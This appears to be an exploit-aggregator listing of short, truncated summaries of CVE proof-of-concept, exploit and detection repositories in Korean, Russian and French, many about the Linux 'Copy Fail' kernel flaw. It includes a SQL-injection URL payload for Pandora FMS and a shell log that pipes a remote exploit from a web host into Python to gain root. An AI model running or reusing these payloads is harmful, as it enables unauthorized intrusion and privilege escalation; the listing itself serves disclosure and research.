CVE-2026-5465

CVE-2026-5465: WordPress Amelia 플러그인 권한 상승 ⚠️ 요약 Amelia 플러그인의 안전하지 않은 직접 객체 참조IDOR 치명적 취약점으로, 인증된 Provider직원 역할 사용자가 WordPress 사이트의 완전한 장악Account Takeover까지 권한을 상승시킬 수 있으며, 관리자 접근 권한도 포함됩니다. 📋 취약점 정보 속성| 값 ---|--- CVE ID| CVE-2026-5465 소프트웨어| Amelia – Appointment Booking Calendar 영향받는 버전| ≤ 2.1.3...

exploit-CVE-2023-3460

title: "Sécurité des SI - CVE 2023-38408" Анализ и эксплуатация CVE-2023-3460 CVE ID| CVSS Score| Discovered| Affected Plugin| Vulnerability Type ---|---|---|---|--- CVE-2023-3460| | 07/04/2023| Ultimate Member| Несанкционированный доступ администратора Содержание Введение Общий механизм уязвимос...

-CVE-2021-4034

-CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt " « Polkit anciennement PolicyKit est un composant permettant de contrôler les privilèges à l'échelle du système dans les systèmes d'exploitation de type Unix. Il fournit un moyen organisé pour les processus non privilégiés...

CVE-2023-42793_POC

Эксплойт-скрипт для CVE-2023-42793 Обзор Этот скрипт предназначен для автоматизации процесса эксплуатации уязвимости CVE-2023-42793. Он нацелен на конкретный сервис предположительно затронутый этой уязвимостью и пытается удалить токен пользователя, создать новый токен пользователя, а затем создат...

CVE-2021-4034

Python3-код для эксплуатации CVE-2021-4034 PWNKIT. Это было упражнение в духе «могу ли я заставить это работать на Python?», а не попытка создать надёжный эксплойт. У меня это работает, но, вероятно, есть баги. Полезная нагрузка по умолчанию запускает оболочку от имени root, сгенерированную с...

Windows_LPE_AFD_CVE-2023-21768

CVE-2023-21768 POC d'élévation de privilèges locale auteurs : chompie & b33f Uniquement à des fins de démonstration. L'exploit complet fonctionne sur les systèmes Windows 11 22H2 vulnérables. La primitive d'écriture fonctionne sur tous les systèmes vulnérables. Utilisation : root@kitploit:...

Windows-Privilege-Escalation-CVE-2021-1732

Élévation de privilèges Windows CVE-2021-1732 Versions Windows concernées : Win10 1803 - 20H2, WinServer 2019, 2004 Captures d'écran : Lire la suite sur mon blog :- https://www.exploitblizzard.com/post/windows-privilege-escalation-cve-2021-1732...

CVE-2021-32099

CVE-2021-32099 CVE-2021-32099 POC : http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=a%27%20UNION%20SELECT%20%27a%27,1,%27idusuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessionsphp%20WHERE%20%271%27=%271 Détail :...

CVE-2026-31431-Linux-Copy-Fail

CVE-2026-31431 - Exploit Copy-Fail Linux Rust Une implémentation en Rust d'un exploit d'élévation de privilèges locaux pour CVE-2026-31431 Copy-Fail. Il permet d'exécuter un shellcode personnalisé tel que Meterpreter Introduction Xint a divulgué CVE-2026-31431, une vulnérabilité d'écriture...

CVE-2026-30695

CVE-2026-30695 - XSS dans Zucchetti Axess Résumé Une vulnérabilité de type Cross-Site Scripting XSS existe dans l'interface de configuration web des dispositifs de contrôle d'accès Zucchetti Axess XA4, X3/X3BIO, X4, X7, XIO, i-door, i-door+. La vulnérabilité est causée par une désinfection...

CVE-2026-31431_CopyFail_LinuxKernel_LPE

CVE-2026-31431 — Copy Fail LPE du noyau Linux Réécriture pédagogique de la preuve de concept de Theori/Xint pour CVE-2026-31431, une vulnérabilité d'élévation de privilèges locale dans l'interface de socket crypto algifaead du noyau Linux. Affecte tous les noyaux mainline de 4.14 juillet 2017...

copyfail-exploit

Copy Fail · CVE-2026-31431 Élévation de privilèges locale sur les noyaux Linux de 4.11 jusqu'aux versions 6.18 corrigées non incluses. Le bug se situe dans l'interface socket AFALG du noyau — plus précisément dans la façon dont authencesn gère les listes scatter-gather lors du déchiffrement AEAD ...

copyfail-arm64

Copy Fail ARM64 Research CVE-2026-31431 Анализ и ARM64-воспроизведение уязвимости повышения привилегий в ядре Linux Copy Fail CVE-2026-31431, первоначально раскрытой Xint. Пост в блоге: docs/post.md Что включено Файл| Описание ---|--- docs/post.md| Пост в блоге, описывающий анализ уязвимости и...

cve-2026-31431-checker

Outil de détection CVE-2026-31431 Copy Fail Un outil complet de détection et d'analyse pour la vulnérabilité CVE-2026-31431 « Copy Fail » dans les noyaux Linux. ⚠️ AVERTISSEMENT IMPORTANT Cet outil est destiné UNIQUEMENT à la DÉTECTION. Il n'exploite ni ne modifie aucun fichier système. Lit...

Estudo-de-Caso-CVE-2026-31431-CopyFail

🐧 CVE-2026-31431 — CopyFail: Linux 커널 권한 상승 완전한 사례 연구 — 2017년 이후 거의 모든 Linux 배포판에 영향을 미치는 치명적인 취약점이 어떻게 발견되었는지, 어떻게 작동하는지, 어떻게 테스트하는지, 안전한 환경에서 어떻게 재현하는지, 그리고 어떻게 수정하는지. 🚨 법적 고지 / 면책 조항 이 저장소는 교육 목적으로만 제공됩니다. 여기에 포함된 정보는 보안 전문가, 연구원 및 사이버보안 학생을 대상으로 합니다. 명시적 승인 없이 여기에 설명된 어떤 기술도 시스템에 사용하지 마십시오. 이...

cfDr

cfDr - Copy Fail Doctor C opie F ail D étection et R emédiation Une suite de rôles Ansible et de playbooks pour détecter et remédier à la CVE-2026-31431 Copy Fail, une vulnérabilité critique d'élévation de privilèges locaux dans le module algifaead du noyau Linux. Dépôt 🔗 GitHub :...

CVE-2019-19268

CVE-2019-19268 Version affectée : rConfig 3.9.2. Description Plusieurs vecteurs d'attaque dans rConfig v3.9.2 dus à une mauvaise configuration, qui permettent aux utilisateurs locaux d'exécuter des commandes root via sudo. Découvreurs dmw0ng - Discord : dmw0ng4449 TheCyberGeek - Discord :...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

block-copyfail

Résumé CVE-2026-31431 « Copy Fail » est une vulnérabilité d'élévation de privilèges dans le noyau Linux présente dans l'interface cryptographique algifaead. Un attaquant utilise des sockets AFALG avec l'algorithme authencesn et splice pour corrompre des fichiers arbitraires dans le cache de pages...

powerglot

Powerglot Powerglot encodes several kind of scripts using polyglots, for example, offensive powershell scripts. It is not needed a loader to run the payload. In red-team exercises or offensive tasks, masking of payloads is usually done by using steganography, especially to avoid network level...